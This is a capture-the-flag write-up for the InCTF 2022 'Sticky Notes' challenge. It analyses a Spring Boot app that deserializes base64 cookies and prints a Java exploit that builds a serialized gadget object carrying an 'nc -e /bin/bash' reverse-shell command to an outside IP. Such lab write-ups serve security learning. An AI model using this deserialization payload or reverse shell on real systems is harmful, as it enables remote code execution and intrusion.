---
# System prepended metadata

title: Sticky Notes

---

# Sticky Notes

**category** : web\
**tag** : java, deserialization, reflection api\
**source** : [source with docker-compose.yml file](https://github.com/Ryn0K/CTFs/tree/master/inctf-2022-final/Sticky_notes)

## Analysis :

we have spring boot application , need to analyse the [.jar](https://github.com/Ryn0K/CTFs/blob/master/inctf-2022-final/Sticky_notes/deployment/Sticky_notes.jar) file  at [https://jdec.app/](https://jdec.app/)

![img1](https://i.imgur.com/8cWS0oy.png)

At home.class we have all mappings to endpoints

```java
@GetMapping({"/"})
   public ModelAndView index() {
      ModelAndView modelAndView = new ModelAndView();
      modelAndView.setViewName("index");
      return modelAndView;
}

@GetMapping({"/add_notes"})
   public ModelAndView add_notes() {
      ModelAndView modelAndView = new ModelAndView();
      modelAndView.setViewName("addnote");
    return modelAndView;
}
```

![index](https://i.imgur.com/mciyqlM.png)

we can add notes
![addnotes](https://i.imgur.com/RJfgq5z.png)

```java
@PostMapping({"/add"})
   public String setCookie(HttpServletResponse response, final HttpServletRequest req) throws IOException {
      Sticky_note one = new Sticky_note(req.getParameter("note"), this.i);
      ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
      ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
      objectOutputStream.writeObject(one);
      objectOutputStream.close();
      String cookie_data = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
      Cookie cookie = new Cookie("notes" + this.i, cookie_data);
      ++this.i;
      response.addCookie(cookie);
      response.sendRedirect("/");
      return "note added";
   }

   @GetMapping({"/render"})
   public String readAllCookies(HttpServletRequest request) throws IOException, ClassNotFoundException, InterruptedException {
      String listString = "";
      Cookie[] cookies = request.getCookies();
      if (cookies != null) {
         new ArrayList();
         List<String> note_string = new ArrayList();
         List<String> values = (List)Arrays.stream(cookies).map((c) -> {
            return c.getValue();
         }).collect(Collectors.toList());

         for(int j = 0; j < values.size(); ++j) {
            if (((String)values.get(j)).indexOf("rO0") != -1) {
               byte[] decodedBytes = Base64.getDecoder().decode((String)values.get(j));
               ByteArrayInputStream ois = new ByteArrayInputStream(decodedBytes);
               ObjectInput in = new ObjectInputStream(ois);
               Sticky_note result = (Sticky_note)in.readObject();
               result.inv();
               note_string.add(result.get_notes());
            }
         }

         String s;
         for(Iterator var11 = note_string.iterator(); var11.hasNext(); listString = listString + s + ";") {
            s = (String)var11.next();
         }
      }

      return listString;
}
```

so notes added to cookies in base64 by **serializing** the Sticky_note class

and `/render` deserializing them using  `readObject()`, so this is vulnerable to deserialization vulnerability.


## finding gadgets

```java
public class Sticky_note implements Serializable {
   private static final long serialVersionUID = 8997955967313857188L;
   private int id;
   private String notes;
   public Eval_util data;

   public Sticky_note(String note, int id) {
      this.notes = note;
      this.id = id;
   }

   public String get_notes() {
      return this.notes;
   }

// this one
   public int inv() throws IOException, InterruptedException {
      if (this.data != null) {
         this.data.execute();
      }

      return 1;
   }
}
```

`Sticky_note` having function `inv()` which of type `Eval_util` and

```java
public class Eval_util implements Serializable {
   private static final long serialVersionUID = -8347155815694777921L;
   public String val;

   public int get_val() {
      return this.val.length();
   }

   public Object execute() throws IOException, InterruptedException {
      String[] cmd = new String[]{"/bin/sh", "-c", this.val};
      Runtime r = Runtime.getRuntime();
      r.exec(cmd);
      return null;
   }
}
```

we can execute `command` by chaining serializable payload to change `public String val`

and plus point here after deserializing the cookie in `/render`
it is automatically calling `inv()`.

```java
Sticky_note result = (Sticky_note)in.readObject();
result.inv(); //<<====================
note_string.add(result.get_notes());
```

## Exploitation

exploit [here](https://github.com/Ryn0K/CTFs/tree/master/inctf-2022-final/Sticky_notes/exploit)

i am using `reflection api` here, so reader should read that first cause i am not going detail overhere.

[exploit.java](https://github.com/Ryn0K/CTFs/tree/master/inctf-2022-final/Sticky_notes/exploit/exploit.java)

```java
import java.io.*;
import java.util.*;
import java.lang.reflect.*;
import com.example.demo.*;

class Main{
    public static void main(String[] args) throws NoSuchFieldException, SecurityException, IllegalArgumentException, IllegalAccessException, IOException {
        com.example.demo.Eval_util evutil = new com.example.demo.Eval_util(); // object of Eval_util class
        Field val = com.example.demo.Eval_util.class.getDeclaredField("val"); // get field we want to write
        val.setAccessible(true); // set accessible true
        val.set(evutil,new String("nc -e /bin/bash 117.242.246.138 8882")); // bind object and change value with command

        com.example.demo.Sticky_note stnote = new com.example.demo.Sticky_note("payload executed", 0); // get object of Sticky_note class
        Field data = com.example.demo.Sticky_note.class.getDeclaredField("data"); // get field data which of type Eval_util
        data.setAccessible(true);
        data.set(stnote,evutil); // bind

        // base64 format
        ByteArrayOutputStream objectBOS = new ByteArrayOutputStream();
        ObjectOutputStream out = new ObjectOutputStream(objectBOS);
        out.writeObject(stnote);
        out.close();
        String payload = Base64.getEncoder().encodeToString(objectBOS.toByteArray());
        System.out.println(payload);
    }
}
```

- compile gadget classes first

![classes](https://i.imgur.com/fJ2ihfo.png)

- compile payload(exploit.java) and get payload

![exploit](https://i.imgur.com/288XH1H.png)


- send payload and get shell

![hurrey](https://i.imgur.com/7jw3n0o.png)

- Get flag

![flag](https://i.imgur.com/IwbfSdl.png)